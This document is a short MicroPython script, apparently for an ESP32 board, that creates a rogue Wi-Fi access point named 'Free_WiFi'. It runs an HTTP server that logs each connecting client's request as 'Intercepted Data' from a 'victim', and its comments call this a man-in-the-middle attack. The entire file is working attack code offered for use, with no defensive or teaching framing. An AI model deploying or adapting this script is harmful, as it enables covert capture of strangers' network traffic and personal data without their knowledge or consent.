# Import necessary modules
import network
import socket
import time
# Configurations
AP_SSID = "Free_WiFi"
AP_PASSWORD = "12345678"
PORT = 80 # HTTP port
# Create an access point (AP) mode ESP32
def setup_ap():
ap = network.WLAN(network.AP_IF)
ap.active(True)
ap.config(essid=AP_SSID, password=AP_PASSWORD)
while not ap.active():
pass
print("[+] Rogue Wi-Fi AP is Active: ", ap.ifconfig())
# Start a fake HTTP server to log data
def start_server():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", PORT))
s.listen(5)
print("[+] Waiting for connections...")
while True:
conn, addr = s.accept()
print("[+] Victim Connected: ", addr)
request = conn.recv(1024)
print("[+] Intercepted Data: ", request.decode())
response = "HTTP/1.1 200 OK\r\n\r\nWelcome to Free WiFi!"
conn.send(response.encode())
conn.close()
# Run the MITM attack
setup_ap()
start_server()